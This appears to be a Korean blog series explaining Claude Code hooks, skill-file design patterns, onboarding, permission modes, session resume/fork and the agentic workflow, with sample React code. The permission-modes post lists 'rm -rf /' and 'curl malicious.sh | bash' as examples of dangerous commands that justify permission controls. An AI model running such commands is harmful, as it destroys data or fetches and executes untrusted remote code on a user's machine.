순다랜드

Hooks

헬로우월드 — Fri, 10 Apr 2026 11:13:28 +0900

https://code.claude.com/docs/ko/hooks

Hooks 참조 - Claude Code Docs

Claude Code hook 이벤트, 구성 스키마, JSON 입출력 형식, 종료 코드, 비동기 hook, HTTP hook, 프롬프트 hook, MCP 도구 hook에 대한 참조입니다.

code.claude.com

️ Claude Code의 자동화 핵심 'Hooks'

안녕하세요! 오늘은 클로드 코드(Claude Code)를 훨씬 더 똑똑하게 만드는 비밀 병기, 훅(Hooks)에 대해 알아보겠습니다. 매번 반복되는 설정을 일일이 입력하기 귀찮으셨다면, 이 글이 큰 도움이 될 거예요!

1. 훅(Hook)이란 무엇인가요?

클로드 코드에서 훅(Hook)은 특정 상황(이벤트)이 발생했을 때 시스템이 자동으로 실행하도록 미리 설정해둔 명령어나 스크립트를 말합니다.

비유하자면?
"현관문이 열리면(이벤트) → 전등을 켜라(액션)"는 스마트 홈의 센서 등과 같은 원리입니다!

자동화 : 일일이 명령하지 않아도 정해진 시점에 알아서 작동합니다.
일관성 : 새로운 세션을 시작할 때마다 프로젝트 정보를 클로드에게 자동으로 주입해 줍니다.

2. 가장 많이 쓰이는 훅: `SessionStart`

클로드 코드를 실행할 때 가장 먼저 만나는 훅입니다.

실행 시점: claude 명령어를 입력해 새로운 세션을 시작할 때 딱 한 번 실행됩니다.
주요 활용 예시:
- git status를 확인하여 현재 작업 상태 파악
- 최근 변경된 파일 목록 읽기
- 사용자가 이전에 "기억해줘"라고 했던 메모를 컨텍스트에 자동 로드

3. 왜 훅을 사용해야 할까요?

가장 큰 이유는 '끊김 없는 개발 환경' 때문입니다.

컨텍스트 유지: "변경사항을 반영해줘"라고 요청하면 클로드는 이를 훅 형태로 저장합니다.
자동 로드: 다음번에 클로드를 켰을 때, 이전 메모를 자동으로 읽어옵니다.
설명 생략: "지난번에 어디까지 했지?"라고 다시 설명할 필요가 없어집니다! ✨

4. 훅의 관제센터, `/hooks` 커맨드 ️

현재 내 클로드 코드에 어떤 자동화 규칙이 설정되어 있는지 궁금하다면 터미널에 /hooks를 입력해 보세요.

✅ 주요 기능

목록 확인: 등록된 모든 훅(예: SessionStart)을 한눈에 보여줍니다.
상태 체크: 각 훅이 현재 작동 중인지(On/Off) 확인합니다.
내용 열람: 실행될 구체적인 스크립트 내용을 미리 볼 수 있습니다.

꿀팁: 수정했는데 적용이 안 된다면?

훅은 보통 '시작될 때' 작동합니다. 수정 사항을 즉시 반영하고 싶다면, 현재 세션을 종료(Ctrl+C 또는 /exit)하고 새로운 세션을 실행해 주세요!

5. 한눈에 보는 주요 훅 리스트

훅 이름	주요 역할
SessionStart	시작 시 `git status` 확인, 할 일(TODO) 요약, 프로젝트 스택 브리핑
Context Memory	이전 세션의 메모나 변경 사항 자동 불러오기
Env Check	개발 환경(Node, Java 버전 등)이 프로젝트와 맞는지 자동 체크

요약하자면!

훅은 클로드 코드에게 미리 건네준 '자동 업무 체크리스트'입니다. 여러분의 개발 흐름을 방해하지 않고, 클로드가 항상 최신 문맥을 유지할 수 있게 도와주는 핵심 연결 고리죠.

지금 바로 터미널에 /hooks를 입력해 여러분의 자동화 목록을 확인해 보세요!

실무에서 사용하는 Claude Code Skills 설계 패턴

헬로우월드 — Thu, 9 Apr 2026 16:38:06 +0900

실무에서 사용하는 Claude Code Skills 설계 패턴

— “AI를 개발팀의 일원으로 만드는 아키텍처”

왜 ‘설계 패턴’이 중요한가?

초보 단계에서는 이렇게 접근합니다:

“스킬 하나 만들어볼까?”

하지만 실무에서는 관점이 완전히 다릅니다

❗ “AI가 조직의 개발 규칙을 따르게 만드는 시스템”

즉, Skills는 개별 파일이 아니라
“팀의 개발 철학 + 아키텍처 + 프로세스”를 코드화한 것입니다.

전체 구조: 4계층 Skills 아키텍처

실제 기업에서는 보통 다음 4계층으로 나눕니다:

1. Foundation Layer (기본 규칙)
2. Domain Layer (도메인 규칙)
3. Task Layer (작업 단위)
4. Workflow Layer (프로세스 흐름)

1️⃣ Foundation Layer (기본 규칙)

“이 프로젝트에서 코드 작성 기본 방식”

역할

코딩 스타일
에러 처리 방식
네이밍 규칙
테스트 전략

예시: 01-dev-standards.skill

## Description
All code must follow project coding standards

## Rules
- Use TypeScript strict mode
- Avoid any type
- Prefer functional components
- Error handling must use Result pattern

## Examples
// ❌ Bad
fetch('/api')

// ✅ Good
apiClient.get('/api')

핵심 특징

모든 작업에서 거의 항상 트리거됨
“기본 DNA” 역할

2️⃣ Domain Layer (도메인 규칙)

“이 비즈니스 영역은 이렇게 구현해”

역할

주문, 결제, 유저 등 도메인 규칙
데이터 구조
비즈니스 로직 패턴

예시: 04-order-domain.skill

## Description
Handles order-related business logic

## Rules
- Order status must follow state machine
- Cancellation must validate payment state
- Use OrderService for all order mutations

## Examples
cancelOrder(orderId) {
  validateCancelable(order)
  refundPayment(order)
  updateStatus(order, 'CANCELLED')
}

핵심 특징

“비즈니스 일관성”을 강제함
잘못된 로직을 AI가 스스로 피하게 만듦

3️⃣ Task Layer (작업 단위)

“이 작업은 이렇게 구현해”

역할

API 생성
컴포넌트 생성
상태관리 작성

예시: 03-rtk-query-api.skill

## Description
Creating API endpoints using RTK Query

## Rules
- Use createApi
- Separate endpoint per domain
- Use tagTypes for cache

## Examples
createApi({
  endpoints: (builder) => ({
    getOrders: builder.query({...})
  })
})

핵심 특징

가장 자주 사용됨
“개발 생산성” 직접 상승

4️⃣ Workflow Layer (프로세스 흐름)

“이 작업을 할 때 전체 흐름은 이렇게 진행해”

역할

기능 개발 프로세스
문서화 자동화
테스트 → 배포 흐름

예시: 07-feature-workflow.skill

## Description
Standard feature development workflow

## Steps
1. Define API contract
2. Implement backend
3. Generate frontend API hooks
4. Create UI
5. Write tests
6. Update documentation

핵심 특징

여러 스킬을 묶는 상위 개념
“개발 방식 자체”를 통제

⚙️ 실제 기업에서의 설계 전략

전략 1: “스킬은 작게, 조합은 크게”

❌ 안 좋은 예

frontend-all-in-one.skill

✅ 좋은 예

api.skill
component.skill
validation.skill

필요할 때 조합되도록 설계

전략 2: 트리거는 “의도 기반”으로 설계

❌ 나쁜 트리거

"코드 작성"

✅ 좋은 트리거

"API endpoint 추가"
"React 컴포넌트 생성"
"주문 취소 구현"

사용자의 자연어 요청과 맞아야 함

전략 3: Example이 핵심이다

Claude는 규칙보다 예제에 더 강하게 영향받습니다

그래서 실무에서는:

Rules 30%
Examples 70%

전략 4: “금지 규칙”을 명확히

## Anti-patterns
- Do not call API directly
- Do not mutate state directly

이게 없으면 AI는 계속 실수합니다

실전 운영 방식 (중요)

운영 사이클

1. 개발 중 패턴 발견
2. 스킬 생성
3. 실제 사용
4. 문제 발생
5. 스킬 수정

이 루프가 핵심입니다

실제로 자주 발생하는 문제

❌ 문제 1: 스킬이 너무 많음

해결: 통합 or 계층 재설계

❌ 문제 2: 트리거 충돌

해결: description 명확화

❌ 문제 3: AI가 스킬 무시

해결:

description 개선
예제 추가
직접 호출

고급 개념: “Skill = Prompt Engineering의 진화형”

기존 방식:

매번 프롬프트에 규칙 작성

Skills 방식:

규칙을 외부화 + 재사용

즉:

“지속 가능한 프롬프트 시스템”

최종 구조 (실무 템플릿)

.claude/skills/

01-foundation/
  dev-standards.skill
  error-handling.skill

02-domain/
  order.skill
  payment.skill

03-task/
  api.skill
  component.skill

04-workflow/
  feature.skill
  release.skill

React 쇼핑몰 프론트엔드 Skills 풀세트

— RTK Query + Feature 기반 아키텍처 기준

전체 아키텍처

.claude/skills/

01-foundation/
  dev-standards.skill
  error-handling.skill

02-domain/
  product-domain.skill
  cart-domain.skill
  order-domain.skill

03-task/
  api-rtk-query.skill
  component-structure.skill
  form-handling.skill

04-workflow/
  feature-development.skill
  api-integration.skill

1️⃣ Foundation Layer

dev-standards.skill

## Description
Apply global coding standards for React + TypeScript project

## Rules
- Use TypeScript strict mode
- Do not use `any`
- Use functional components only
- Use absolute import paths (@/)

## Component Rules
- Separate container and presentational components
- Keep components under 200 lines

## Naming
- Components: PascalCase
- hooks: useSomething
- variables: camelCase

## Examples

// ❌ Bad
const data: any = fetch('/api')

// ✅ Good
const data: Product[] = await apiClient.get('/products')

error-handling.skill

## Description
Standard error handling pattern

## Rules
- API errors must be normalized
- UI must not directly expose raw error
- Use toast or error boundary

## Example

try {
  await dispatch(createOrder())
} catch (error) {
  showToast("주문 실패")
}

2️⃣ Domain Layer

product-domain.skill

## Description
Handles product-related logic

## Rules
- Product must have id, name, price, stock
- Always validate stock before purchase
- Use ProductCard for UI

## Example

export interface Product {
  id: string
  name: string
  price: number
  stock: number
}

cart-domain.skill

## Description
Handles cart logic

## Rules
- Cart must persist in localStorage
- Quantity cannot exceed stock
- Use centralized cart slice

## Example

addToCart(product) {
  if (product.stock <= 0) throw Error("Out of stock")
}

order-domain.skill

## Description
Handles order flow

## Rules
- Order must validate cart state
- Must include payment status
- Use OrderService abstraction

## Flow
1. validateCart
2. createOrder
3. processPayment

3️⃣ Task Layer (핵심)

api-rtk-query.skill ⭐ (핵심)

## Description
Create API layer using RTK Query

## Rules
- Use createApi
- Separate by domain
- Use tagTypes for cache

## Example

export const productApi = createApi({
  reducerPath: 'productApi',
  baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
  tagTypes: ['Product'],
  endpoints: (builder) => ({
    getProducts: builder.query<Product[], void>({
      query: () => '/products',
      providesTags: ['Product']
    })
  })
})

component-structure.skill

## Description
Standard React component structure

## Rules
- Separate UI and logic
- Use hooks for logic
- No API calls inside UI component

## Example

// Container
export function ProductListContainer() {
  const { data } = useGetProductsQuery()
  return <ProductList products={data} />
}

// UI
export function ProductList({ products }) {
  return <div>{products.map(...)} </div>
}

form-handling.skill

## Description
Handle forms using react-hook-form

## Rules
- Use react-hook-form
- Validate before submit
- No uncontrolled inputs

## Example

const { register, handleSubmit } = useForm()

<form onSubmit={handleSubmit(onSubmit)}>
  <input {...register("email")} />
</form>

4️⃣ Workflow Layer

feature-development.skill ⭐

## Description
Standard feature development flow

## Steps
1. Define API contract
2. Create RTK Query API
3. Create container component
4. Create UI component
5. Add loading & error handling
6. Write basic test

api-integration.skill

## Description
Integrate API into UI

## Rules
- Always handle loading
- Always handle error
- Use skeleton UI

## Example

if (isLoading) return <Skeleton />
if (error) return <ErrorMessage />

실제 React 프로젝트 구조

src/
├── app/
│   └── store.ts
├── features/
│   ├── product/
│   │   ├── api/
│   │   │   └── productApi.ts
│   │   ├── components/
│   │   │   ├── ProductList.tsx
│   │   │   └── ProductCard.tsx
│   │   ├── containers/
│   │   │   └── ProductListContainer.tsx
│   │   └── types.ts
│   │
│   ├── cart/
│   └── order/
│
├── shared/
│   ├── components/
│   ├── hooks/
│   └── utils/

실제 코드 샘플 (핵심 흐름)

productApi.ts

import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react'

export const productApi = createApi({
  reducerPath: 'productApi',
  baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
  tagTypes: ['Product'],
  endpoints: (builder) => ({
    getProducts: builder.query({
      query: () => '/products'
    })
  })
})

export const { useGetProductsQuery } = productApi

ProductListContainer.tsx

import { useGetProductsQuery } from '../api/productApi'
import { ProductList } from '../components/ProductList'

export function ProductListContainer() {
  const { data, isLoading, error } = useGetProductsQuery()

  if (isLoading) return <div>Loading...</div>
  if (error) return <div>Error</div>

  return <ProductList products={data} />
}

ProductList.tsx

export function ProductList({ products }) {
  return (
    <div>
      {products.map((p) => (
        <div key={p.id}>{p.name}</div>
      ))}
    </div>
  )
}

실무에서 이 구조의 핵심 가치

1️⃣ AI가 “팀 규칙대로 코드 작성”

그냥 이렇게 말하면:

"상품 리스트 페이지 만들어줘"

Claude는:

api-rtk-query.skill
component-structure.skill
product-domain.skill
feature-development.skill

자동으로 조합해서 생성

2️⃣ 코드 스타일이 절대 흔들리지 않음

누가 작성하든 동일한 구조
리뷰 비용 감소

3️⃣ 신입 + AI 둘 다 온보딩 해결

사람 + AI 동일 시스템

⚠️ 실무 팁 (진짜 중요)

❗ 반드시 해야 할 것

1. Example 많이 넣기

AI는 규칙보다 예제를 더 잘 따른다

2. Anti-pattern 작성

## Anti-pattern
- Do not call fetch directly
- Do not mix UI and logic

3. 스킬은 작게 쪼개기

절대 “frontend.skill” 이런 거 만들지 마세요

결론

이 구조의 본질은 “코드 자동화”가 아닙니다

“개발팀의 일하는 방식을 코드로 고정하는 것”

Onboarding

헬로우월드 — Thu, 9 Apr 2026 16:30:11 +0900

온보딩(Onboarding)이란?

온보딩(Onboarding)은
새로운 사람이 조직이나 시스템에 들어왔을 때
빠르게 적응하고 제대로 일할 수 있도록 돕는 과정입니다.

한 줄 정의

“처음 온 사람이 바로 실무에 투입될 수 있게 만드는 적응 시스템”

실무에서의 온보딩 의미

‍ 개발 조직 기준

신입 개발자가 들어오면 단순히 계정만 주는 게 아니라:

프로젝트 구조 이해
아키텍처 파악
코딩 규칙 숙지
⚙️ 개발 환경 세팅
개발 프로세스 이해

이런 것들을 체계적으로 전달하는 과정이 온보딩입니다

온보딩에 포함되는 것들

1️⃣ 환경 세팅

Git, IDE, Docker 등 설치
프로젝트 실행 방법

2️⃣ 코드베이스 이해

디렉토리 구조
주요 모듈 역할
데이터 흐름

3️⃣ 개발 규칙

코딩 스타일
브랜치 전략
커밋 규칙

4️⃣ 업무 프로세스

이슈 관리 방식 (Jira 등)
PR 리뷰 문화
배포 절차

온보딩이 없는 조직 vs 있는 조직

❌ 온보딩이 없는 경우

“코드 보고 알아서 파악하세요”
같은 질문 반복 발생
생산성 올라가기까지 몇 주~몇 달

✅ 온보딩이 잘 된 경우

하루 만에 개발 환경 구축
1~2일 내 간단한 기능 개발 가능
팀 규칙 자동 체득

Claude Code와 온보딩의 연결

여기서 중요한 포인트

Skills = AI를 위한 온보딩 문서

비교해보면

대상	온보딩 방식
‍ 사람 개발자	README, 위키, 문서
Claude Code	Skills

즉,

온보딩 문서 → 사람을 교육
Skills → AI를 교육

핵심 인사이트

❗ 온보딩의 목적은 “지식 전달”이 아니라
“행동을 통일하는 것”

그래서 좋은 온보딩은:

❌ 설명만 많지 않음
✅ 실제로 “어떻게 행동해야 하는지” 알려줌

결론

온보딩은 “적응”이 아니라 “속도”를 만드는 시스템입니다

Skills

헬로우월드 — Thu, 9 Apr 2026 11:37:44 +0900

https://code.claude.com/docs/ko/skills

Claude를 skills로 확장하기 - Claude Code Docs

Claude Code에서 skills를 생성, 관리, 공유하여 Claude의 기능을 확장합니다. 사용자 정의 명령어와 번들 skills를 포함합니다.

code.claude.com

Claude Code Skills

— “AI에게 일하는 방식을 가르친다”는 것의 진짜 의미

Skills란 무엇인가?

Claude Code에서의 Skills는 단순한 함수나 기능이 아닙니다.

“특정 작업을 수행할 때 Claude가 참고하는 작업 매뉴얼”입니다.

조금 더 본질적으로 말하면:

“이 프로젝트에서 이 작업은 이렇게 해”를 정의한 맥락적 규칙 집합

즉, 소프트웨어 개발회사의 신입 개발자에게 주는 온보딩 문서를
AI에게 준다고 생각하시면 정확합니다.

️ Claude Code에서 Skills가 동작하는 방식

Claude Code는 프로젝트를 열면 자동으로 다음 경로를 인식합니다:

.claude/skills/

그리고 작업 요청을 받으면:

요청 내용을 분석하고
관련된 스킬을 자동으로 매칭
해당 스킬을 참고해서 코드 생성

⚙️ 실제 동작 예시

개발자: "주문 취소 API endpoint 추가해줘"

Claude Code 내부에서는 이렇게 흘러갑니다:

"endpoint 추가"
  → rtk-query-api 스킬 트리거

"주문"
  → mock-architecture 스킬 트리거

→ 두 스킬을 조합해서 코드 생성

✅ 핵심 포인트:

❗ 개발자는 “스킬 적용해줘”라고 말할 필요가 없습니다
그냥 평소처럼 작업 지시만 하면 됩니다

기본 디렉토리 구조

your-project/
├── .claude/
│   └── skills/
│       ├── 01-dev-standards.skill
│       ├── 02-auth-security.skill
│       ├── 03-rtk-query-api.skill
│       ├── 04-mock-architecture.skill
│       ├── 05-styling.skill
│       ├── 06-app-structure.skill
│       └── 07-auto-doc-sync.skill
├── src/
├── docs/
└── ...

.claude/ 폴더는
Claude 관련 설정을 모아두는 사실상의 표준 위치입니다.

️ Skills 작성 흐름 (실전 프로세스)

1️⃣ 반복 작업을 발견한다

"이거 계속 반복하는데?"

2️⃣ SKILL.md 작성

해당 작업의 규칙, 예제, 방식 정리

3️⃣ Claude Code에서 사용

실제로 돌려보며 개선

가장 많이 쓰는 방식 (현실적인 패턴)

“작업하다가 스킬로 굳히기”

작업 중 →
"이 패턴 계속 쓰겠는데?" →
"이걸 스킬로 만들어줘" →
Claude가 기존 작업 기반으로 SKILL.md 생성

이 방식이 가장 자연스럽고 효율적입니다.

⚠️ 현실적인 주의사항 (중요)

1. 스킬 트리거는 “description 품질”에 달려있다

❌ 너무 추상적이면 → 트리거 안 됨
❌ 너무 넓으면 → 과도하게 트리거됨

반드시 테스트 필요

2. 트리거가 안 되면 이렇게 해결

"auth-security 스킬 참고해서 OAuth2 콜백 구현해줘"

스킬 이름을 직접 언급하면 100% 트리거됩니다

3. 결국 사람의 역할은 남는다

Claude가 초안을 잘 만들어주지만:

✔ 스킬 분리 단위 설계
✔ 트리거 문구 튜닝
✔ 예제의 현실 적합성 검증

이건 반드시 사람이 판단해야 합니다

초보자를 위한 가장 현실적인 접근법

처음부터 스킬을 잘게 나누려 하면 거의 실패합니다

대신 이 흐름을 추천드립니다:

✅ Step 1. CLAUDE.md 작성

그냥 README 쓰듯이

프로젝트 규칙
코딩 스타일
아키텍처
API 패턴

완벽하게 쓸 필요 없음 → 생각 dump

✅ Step 2. Claude에게 스킬 생성 요청

"이 CLAUDE.md 기반으로 스킬 만들어줘"

Claude가 자동으로:

스킬 분리
구조 설계
예제 생성

✅ Step 3. CLAUDE.md 슬림화

스킬로 분리되면서 자연스럽게 정리됨

✅ Step 4. 실제 사용하면서 개선

여기서 진짜 품질이 올라갑니다

핵심 인사이트

❗ Skills의 본질

❌ 기능(Function)이 아니다

✅ “작업 방식(How to work)”을 정의하는 것

❗ 좋은 스킬의 특징

트리거가 명확하다
예제가 현실적이다
재사용성이 높다
⚖️ 범위가 적절하다 (너무 크지도 작지도 않음)

❗ 가장 중요한 한 줄

“Claude를 잘 쓰는 방법 = Claude에게 일을 잘 가르치는 것”

마무리

Claude Code의 Skills는 단순한 자동화 도구가 아닙니다.

AI와 협업하는 방식 자체를 설계하는 레이어입니다.

처음에는 어색하지만:

하나씩 스킬을 만들고
실제로 써보고
계속 다듬다 보면

어느 순간

“AI가 우리 팀의 개발 스타일로 일한다”

라는 경험을 하게 됩니다.

Permission Modes

헬로우월드 — Thu, 9 Apr 2026 10:48:54 +0900

https://code.claude.com/docs/en/how-claude-code-works

How Claude Code works - Claude Code Docs

Understand the agentic loop, built-in tools, and how Claude Code interacts with your project.

code.claude.com

Claude Code Permission Modes

“Claude가 무엇을 할 수 있는지 제어하는 시스템”

Claude Code의 Permission Modes는 단순 옵션이 아니라,

AI의 행동 범위를 단계적으로 통제하는 실행 정책 시스템입니다.

1. Permission Mode란 무엇인가?

Claude Code에서 Permission Mode는

AI가 로컬 환경에서 수행할 수 있는 작업의 범위를 제한하는 보안 정책입니다. 즉,

AI = 생각 + 코드 생성 + 실행 능력
Permission Mode = 실행 권한의 범위 제한

핵심 개념

AI는 단순히 코드만 생성하는 존재가 아님
실제로 파일 수정 / 명령 실행 / 시스템 접근 가능
따라서 반드시 “권한 통제”가 필요함

⚠️ 왜 필요한가?

AI가 무제한 권한을 가진다면?

rm -rf /
curl malicious.sh | bash
git push origin main

이런 것도 실행 가능해집니다.

그래서 등장한 개념이 바로:

Permission Modes = AI의 “행동 허용 범위”를 제어하는 샌드박스

Claude Code에서는 Shift + Tab을 통해 여러 권한 모드들을 순환할 수 있습니다:

⚙️ 2. Permission Modes

Default Mode

“모든 중요한 작업 전에 사용자에게 묻는다”

✔ 공식 정의

파일 수정 전 → 확인 요청
shell 커맨드 실행 전 → 확인 요청

✔ 동작 방식

Claude: "이 파일 수정해도 될까요?"
Claude: "이 커맨드 실행해도 될까요?"

항상 사용자 승인 기반 실행

✔ 특징

가장 안전한 기본 모드
Human-in-the-loop 구조
예측 가능한 동작

✔ 적합한 상황

일반 개발 환경
협업 프로젝트
초기 AI 사용 단계

Auto-accept edits Mode

“파일 수정은 자동, 커맨드 실행은 여전히 승인 필요”

✔ 공식 정의

파일 수정 → ❗ 자동 수행
shell 커맨드 → ❗ 여전히 사용자 승인 필요

✔ 핵심 변화

(Default)
파일 수정 → 승인 필요 ❌

(Auto-accept edits)
파일 수정 → 자동 수행 ✅

✔ 동작 예시

Claude: 파일을 바로 수정함 (묻지 않음)
Claude: "npm install 실행해도 될까요?" (여전히 질문)

✔ 특징

코드 수정 속도 ↑
시스템 영향 작업은 여전히 통제됨

✔ 적합한 상황

빠른 리팩토링
UI/프론트 수정 작업
반복적인 코드 수정

Plan Mode

“실행하지 않고 계획만 만든다”

✔ 공식 정의

read-only tools만 사용
실행 없이 계획 생성
사용자 승인 후 실행 가능

✔ 핵심 개념

AI = 실행자 ❌
AI = 설계자 / 플래너 ✅

✔ 동작 흐름

1. Claude: 작업 계획 생성
2. 사용자: 계획 검토
3. 승인 시 → 실제 실행 단계로 이동

✔ 특징

완전한 비파괴 모드
코드 변경 없음
안전한 설계 단계

✔ 적합한 상황

대규모 리팩토링 전
아키텍처 변경 검토
위험 작업 사전 설계

Auto Mode (Research Preview)

“Claude가 스스로 판단하여 실행 (백그라운드 안전 검사 포함)”

✔ 공식 정의

모든 작업을 Claude가 스스로 평가
background safety checks 수행
현재는 Research Preview 상태

✔ 핵심 특징

- 파일 수정 → 자동
- 명령 실행 → 자동
- 내부적으로 안전성 검사 수행

✔ 중요한 포인트

완전 무제한이 아니라

"자율 실행 + 내부 안전 필터"

구조입니다.

✔ 특징

최고 수준 자동화 ⚡
최소한의 사용자 개입
실험적 기능 (주의 필요)

✔ 적합한 상황

개인 실험 환경
자동화 워크플로우
반복 작업 처리

3. 커스텀 권한 설정 (.claude/settings.json)

Claude Code는 디폴트 모드 외에도
특정 명령을 예외적으로 허용할 수 있습니다.

설정 파일

{
  "allowedCommands": [
    "npm test",
    "git status"
  ]
}

✔ 공식 설명 요약

특정 명령은 매번 묻지 않도록 설정 가능
신뢰 가능한 명령에 적합
반복 작업 효율 ↑

✔ 특징

Permission Mode의 “세밀한 확장”
화이트리스트 기반 실행

✔ 스코프 (중요 )

설정은 다양한 레벨에서 적용 가능:

- Organization (조직 전체 정책)
- Team / Project
- 개인 설정

즉,
회사 정책 → 개인 커스터마이징까지 계층적 제어 가능

4. 구조적으로 보면 (핵심 인사이트)

Claude Code의 Permission Modes는 단순 UI 기능이 아니라
AI 실행 제어 레이어 (Execution Control Layer) 입니다.

내부 흐름

[User]
   ↓
[Permission Mode]
   ↓
[Claude 판단]
   ↓
[Action 실행 or 승인 요청]

핵심 역할

실행 여부 결정
사용자 개입 수준 조절
자동화 vs 안전성 균형

⚖️ 5. 권한 모드 비교 요약

Mode	파일 수정	명령 실행	특징
Default	승인 필요	승인 필요	가장 안전
Auto-accept edits	자동	승인 필요	코드 작업 최적
Plan	❌ 실행 없음	❌ 실행 없음	설계 전용
Auto	자동	자동	자율 실행 (실험적)

6. 실무에서의 사용 전략

7. 핵심 인사이트

Insight 1

Permission Mode는 기능이 아니라
AI 행동 통제 정책

Insight 2

Plan Mode → 사고(Thinking)
Default → 협업
Auto → 위임(Delegation)

Insight 3

Claude Code의 본질:

“코드를 생성하는 AI”가 아니라
“실행까지 수행하는 에이전트”

마무리

Claude Code의 Permission Modes는
AI의 실행 권한을 단계적으로 조절하는 시스템입니다.

한 줄 요약:

Default → 물어본다
Auto-accept edits → 수정은 자동
Plan → 실행 없이 계획만
Auto → AI가 알아서 (실험적)

Resume or fork sessions

헬로우월드 — Thu, 9 Apr 2026 10:33:12 +0900

https://code.claude.com/docs/ko/how-claude-code-works

Claude Code의 작동 방식 - Claude Code Docs

에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.

code.claude.com

Claude Code 세션 마스터하기: 재개(Resume)와 포크(Fork)

안녕하세요! 오늘은 Claude Code를 사용할 때 작업을 이어가거나, 새로운 시도를 하고 싶을 때 꼭 알아야 할 세션 제어 스킬을 정리해 보았습니다. ️

단순히 claude를 실행하는 것을 넘어, 기존 작업을 어떻게 스마트하게 관리할 수 있는지 함께 살펴볼까요?

1. 중단된 지점에서 다시 시작하기: `--continue` & `--resume` ⏯️

바쁜 개발 일과 중에 터미널을 닫아야 했나요? 걱정 마세요. --continue 또는 --resume 플래그를 사용하면 동일한 세션 ID로 이전에 중단했던 지점부터 즉시 대화를 이어갈 수 있습니다.

동작 방식: 기존 대화 기록이 그대로 복원되며, 새로운 메시지는 이전 대화 뒤에 차곡차곡 쌓입니다.
⚠️ 주의사항 (권한 재승인): 대화 기록은 복원되지만, 보안을 위해 세션 범위 권한(Session-scoped permissions)은 초기화됩니다. 파일 쓰기나 명령어 실행 시 다시 한번 승인 절차가 필요합니다.

# 이전에 하던 작업을 그대로 이어가고 싶을 때
claude --continue

2. 평행 우주 만들기: `--fork-session`

"지금까지의 맥락은 유지하되, 원래 세션은 건드리지 않고 다른 방식으로 코드를 고쳐보고 싶어!" 이럴 때 필요한 것이 바로 포크(Fork) 기능입니다.

동작 방식: 현재까지의 대화 기록은 그대로 복원하지만, 새로운 세션 ID를 생성합니다.
장점: 원본 세션에는 아무런 영향을 주지 않으면서 새로운 실험을 마음껏 할 수 있습니다.
권한: 재개와 마찬가지로 세션 권한은 상속되지 않으므로 새로 승인해야 합니다.

# 기존 맥락을 복사해 새로운 세션에서 실험하기
claude --continue --fork-session

3. 여러 터미널에서 동일 세션 사용 시 주의점 ⚠️

가끔 실수로(혹은 의도적으로) 여러 개의 터미널 창에서 동일한 세션 ID를 재개할 때가 있습니다. 이때 어떤 일이 벌어질까요?

인터리빙(Interleaving) 현상: 마치 하나의 공책에 두 사람이 동시에 글을 쓰는 것과 같습니다.
실시간: 각 터미널 창에서는 자신이 보낸 메시지만 보입니다.
사후: 하지만 세션을 종료한 뒤 나중에 다시 열어보면, 두 터미널의 대화가 시간순으로 뒤섞여(Interleaved) 있는 것을 보게 됩니다.
결론: 데이터가 깨지지는 않지만 대화 맥락이 엉망이 될 수 있습니다. 병렬 작업을 원하신다면 반드시 위에서 배운 --fork-session을 사용해 각 터미널에 독립된 세션을 부여하세요!

요약 및 팁 (Cheatsheet)

상황	추천 플래그	결과
하던 작업 그대로 이어하기	`--continue`	동일 ID, 기록 복원
기존 맥락에서 새 시도하기	`--continue --fork-session`	새 ID, 기록 복사
여러 창에서 동시 작업하기	`--fork-session` 필수!	세션 간 간섭 방지

마무리하며

Claude Code의 세션 관리 기능을 잘 활용하면, 복잡한 리팩토링이나 실험적인 기능을 구현할 때 훨씬 안전하고 효율적으로 작업할 수 있습니다. 이제 --continue와 --fork-session으로 여러분의 워크플로우를 한 단계 업그레이드해 보세요! ✨

Workflow

헬로우월드 — Thu, 9 Apr 2026 10:25:47 +0900

https://code.claude.com/docs/ko/how-claude-code-works

Claude Code의 작동 방식 - Claude Code Docs

에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.

code.claude.com

️ Claude Code 워크플로우: AI와 개발자가 협업하는 '일의 흐름'

안녕하세요! 오늘은 Claude Code를 단순한 챗봇이 아닌, 진정한 'AI 에이전트'로 만들어주는 핵심 개념인 워크플로우(Workflow)를 파헤쳐 보겠습니다.

1. 워크플로우란 무엇인가요?

Claude Code에서 워크플로우는 "사용자의 목표를 달성하기 위해 AI가 수행하는 일련의 사고 및 실행 과정"을 의미합니다.

일반적인 AI는 질문에 답만 하고 끝내지만, Claude Code의 워크플로우는 [상황 파악 → 계획 수립 → 도구 실행 → 결과 검토]라는 능동적인 루프를 반복합니다. 이를 전문 용어로 '에이전틱 워크플로우(Agentic Workflow)'라고 부릅니다.

2. Claude Code 워크플로우의 4단계 루프

Claude Code는 하나의 요청을 처리할 때 내부적으로 다음과 같은 단계를 거칩니다.

단계	수행 내용	비유
1. 이해 (Analyze)	사용자의 의도와 현재 코드베이스 상황을 파악합니다.	"어디가 고장 났는지 확인하기"
2. 계획 (Plan)	어떤 파일을 수정하고 어떤 명령어를 실행할지 전략을 세웁니다.	"수리 설계도 그리기"
3. 실행 (Act)	실제 파일 수정, 테스트 실행, 검색 등 도구를 사용합니다.	"직접 렌치 들고 수리하기"
4. 관찰 (Observe)	실행 결과를 확인하고 성공 여부를 판단합니다. 실패 시 1단계로 회귀!	"수리 후 시동 걸어보기"

3. 워크플로우의 실전 예시

사용자가 "로그인 API에 유효성 검사 로직 추가하고 테스트해줘"라고 요청했을 때의 워크플로우입니다.

탐색: grep이나 ls 와 같은 도구(Tools)를 사용해 관련 컨트롤러와 테스트 코드를 찾습니다.
수정: 발견된 소스 코드에 유효성 검사 로직을 삽입합니다.
⚙️ 검증: 터미널에서 npm test나 pytest 같은 테스트 명령어를 직접 실행합니다.
️ 수정(반복): 테스트 실패 시 에러 로그를 읽고 코드를 다시 고칩니다.
완료: 모든 테스트가 통과되면 사용자에게 최종 결과를 보고합니다.

4. 개발자가 알아야 할 워크플로우의 특징 ✨

✅ 자율적인 도구 사용 (Tool Use)

워크플로우 도중 Claude는 스스로 판단하여 터미널 명령어를 실행합니다. 사용자는 매번 명령어를 가르쳐줄 필요 없이, Claude가 제안하는 동작을 승인(y)하기만 하면 됩니다.

✅ 컨텍스트 유지

워크플로우가 진행되는 동안 모든 과정은 '세션'에 기록됩니다. 이전 단계에서 확인한 정보가 다음 단계의 판단 근거가 되어 매우 정교한 작업이 가능해집니다.

✅ 실패로부터의 학습

